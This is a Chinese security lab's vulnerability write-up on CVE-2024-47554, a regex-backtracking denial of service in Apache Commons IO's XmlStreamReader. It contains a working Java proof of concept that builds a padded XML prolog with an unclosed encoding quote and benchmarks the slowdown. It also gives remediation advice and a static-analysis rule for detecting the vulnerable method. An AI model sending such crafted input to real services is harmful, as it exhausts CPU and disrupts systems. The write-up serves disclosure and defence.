本文作者:宇航@涂鸦智能安全实验室

漏洞编号

CVE-2024-47554

受影响版本:

commons-io:commons-io [2.0,2.14.0)

commons_io [2.0,2.14.0)

漏洞危害

Apache Commons IO是美国阿帕奇(Apache)基金会的一个应用程序。提供一个帮助开发IO功能。 Apache Commons IO 2.0版本至2.14.0之前版本存在资源管理错误漏洞,该漏洞源于CPU资源消耗不受控制。

漏洞poc

xml ddos。

 private static void test2_maliciousXml() {
        // prolog 内容:<?xml + 填充 + encoding=" 未闭合,以 > 结束
        // getXmlProlog() 截取到 > 后,整段传入 ENCODING_PATTERN 匹配
        StringBuilder sb = new StringBuilder("<?xml ");
        for (int i = 0; i < 3000; i++) {
            sb.append("a ");
        }
        sb.append("encoding=\"UTF-8><root/>");
        byte[] malicious = sb.toString().getBytes(StandardCharsets.UTF_8);
    }

漏洞触发点:

XmlStreamReader reader = new XmlStreamReader(new ByteArrayInputStream(data));

漏洞详情

在这里插入图片描述

该漏洞主要在于XmlStreamReader 构造函数内部调用私有方法 getXmlProlog()

该方法读取输入流中第一个 ‘>’ 之前的内容作为 XML prolog,然后用 ENCODING_PATTERN 正则匹配编码声明。

2.13.x 版本的正则为 {@code <\?xml.encoding[\s]=[\s]((?:".[“]*”)|(?:'.[']'))}

其中 {@code .*} 贪婪匹配后逐字符回溯,恶意构造的 prolog 可使单次匹配耗时数倍增加。

虽受 8KB 缓冲区限制,但在高并发场景下可累积放大为 DoS。

在这里插入图片描述

以下是验证poc代码:

package com.example.test.cves;

import org.apache.commons.io.input.XmlStreamReader;

import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;

public class CVE_2024_47554 {

    public static void main(String[] args) {
        System.out.println("CVE-2024-47554 漏洞验证");
        System.out.println("Apache Commons IO XmlStreamReader ReDoS\n");

        // 预热 JVM,消除类加载开销
        warmup();

        test1_normalXml();
        test2_maliciousXml();
        test3_concurrentAmplification();
        printRemediation();
    }

    private static void warmup() {
        byte[] xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><r/>".getBytes(StandardCharsets.UTF_8);
        for (int i = 0; i < 5; i++) {
            try {
                new XmlStreamReader(new ByteArrayInputStream(xml)).close();
            } catch (Exception ignored) {}
        }
    }

    /**
     * 基准:正常 XML 编码检测
     */
    private static void test1_normalXml() {
        System.out.println("=== 测试1: 正常 XML ===");
        byte[] xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><root/>"
                .getBytes(StandardCharsets.UTF_8);
        long avg = runMultiple(xml, 100);
        System.out.println("正常 XML 平均耗时: " + avg + "μs (100次)");
        System.out.println();
    }

    /**
     * 恶意 XML:在第一个 '>' 之前填充大量字符 + 未闭合 encoding 引号
     * 构造函数 → getXmlProlog() → ENCODING_PATTERN 匹配时 .* 回溯
     */
    private static void test2_maliciousXml() {
        System.out.println("=== 测试2: 恶意 XML (ReDoS) ===");

        // prolog 内容:<?xml + 填充 + encoding=" 未闭合,以 > 结束
        // getXmlProlog() 截取到 > 后,整段传入 ENCODING_PATTERN 匹配
        StringBuilder sb = new StringBuilder("<?xml ");
        for (int i = 0; i < 3000; i++) {
            sb.append("a ");
        }
        sb.append("encoding=\"UTF-8><root/>");
        byte[] malicious = sb.toString().getBytes(StandardCharsets.UTF_8);

        long avg = runMultiple(malicious, 100);
        System.out.println("恶意 XML (" + malicious.length + " bytes) 平均耗时: " + avg + "μs (100次)");
        System.out.println();
    }

    /**
     * 模拟并发:100 个请求累积的 CPU 耗时对比
     */
    private static void test3_concurrentAmplification() {
        System.out.println("=== 测试3: 并发放大效应 ===");

        byte[] normalXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><root/>"
                .getBytes(StandardCharsets.UTF_8);

        StringBuilder sb = new StringBuilder("<?xml ");
        for (int i = 0; i < 3000; i++) {
            sb.append("a ");
        }
        sb.append("encoding=\"UTF-8><root/>");
        byte[] maliciousXml = sb.toString().getBytes(StandardCharsets.UTF_8);

        int requests = 1000;

        long normalTotal = 0;
        for (int i = 0; i < requests; i++) {
            normalTotal += processSingle(normalXml);
        }

        long maliciousTotal = 0;
        for (int i = 0; i < requests; i++) {
            maliciousTotal += processSingle(maliciousXml);
        }

        System.out.println(requests + " 次正常请求累计: " + normalTotal / 1000 + "μs");
        System.out.println(requests + " 次恶意请求累计: " + maliciousTotal / 1000 + "μs");
        double ratio = (double) maliciousTotal / Math.max(normalTotal, 1);
        System.out.println("恶意/正常比: " + String.format("%.1f", ratio) + "x");
        if (ratio > 2) {
            System.out.println("✓ 恶意请求累计 CPU 消耗显著高于正常请求,并发场景下可构成 DoS");
        }
        System.out.println();
    }

    private static long runMultiple(byte[] data, int times) {
        long total = 0;
        for (int i = 0; i < times; i++) {
            total += processSingle(data);
        }
        return total / times / 1000; // 转为 μs
    }

    private static long processSingle(byte[] data) {
        long start = System.nanoTime();
        try {
            XmlStreamReader reader = new XmlStreamReader(new ByteArrayInputStream(data));
            reader.close();
        } catch (Exception ignored) {}
        return System.nanoTime() - start;
    }

    private static void printRemediation() {
        System.out.println("=== 修复建议 ===");
        System.out.println("1. 升级 commons-io 至 2.14.0+");
        System.out.println("2. 对不可信 XML 输入添加大小限制");
        System.out.println();
}

运行后可得到:
在这里插入图片描述

调用堆栈如下:
在这里插入图片描述

修复方案

1、升级 commons-io 至 2.14.0+。

2、对不可信 XML 输入添加大小限制。该方式为黑名单,不推荐!

加白策略

由上分析可知此处漏洞触发条件有以下两点

1、使用如下不安全写法,接受了用户的恶意输入,并且调用XmlStreamReader构造函数。

2、用户可自定义data的值。

此处构造条件比较罕见,且影响较小。可看到需要条件竞争才达到延迟效果。且延迟效果一般,未达到很大的消耗值。因此影响范围一般,可加白处理。加白后再添加一条新的规则以免遗漏。

白盒规则

对函数org.apache.commons.io.input.XmlStreamReaderengine.getXmlProlog函数加入代码卫士规则进行二次确认。如存在使用该缺陷函数的代码,进行升级。

主要匹配内容:org.apache.commons.io.input.XmlStreamReaderengine.getXmlProlog();

在这里插入图片描述

包名:org.apache.commons.io.input

类名:XmlStreamReader

方法名:getXmlProlog

使用语义分析策略即可。

<Semantic id="60ecff26-ddff-40c8-9c5d-5f156f0ee6b4" version="1.1.1">
  <MethodDefinition implements="true" overrides="true" extends="true">
    <!-- 填写需要匹配的命名空间正则表达式或字符串,可选,不需要匹配命名空间则删除该节点 -->
    <NamespaceName type="value">org.apache.commons.io.input</NamespaceName>
    
    <!-- 填写需要匹配的类名正则表达式或字符串,可选,不需要匹配类名则删除该节点 -->
    <ClassName type="pattern">XmlStreamReader</ClassName>
    
    <!-- 填写需要匹配的方法名正则表达式或字符串 -->
    <MethodName type="pattern">getXmlProlog</MethodName>
  </MethodDefinition>
</Semantic>

漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐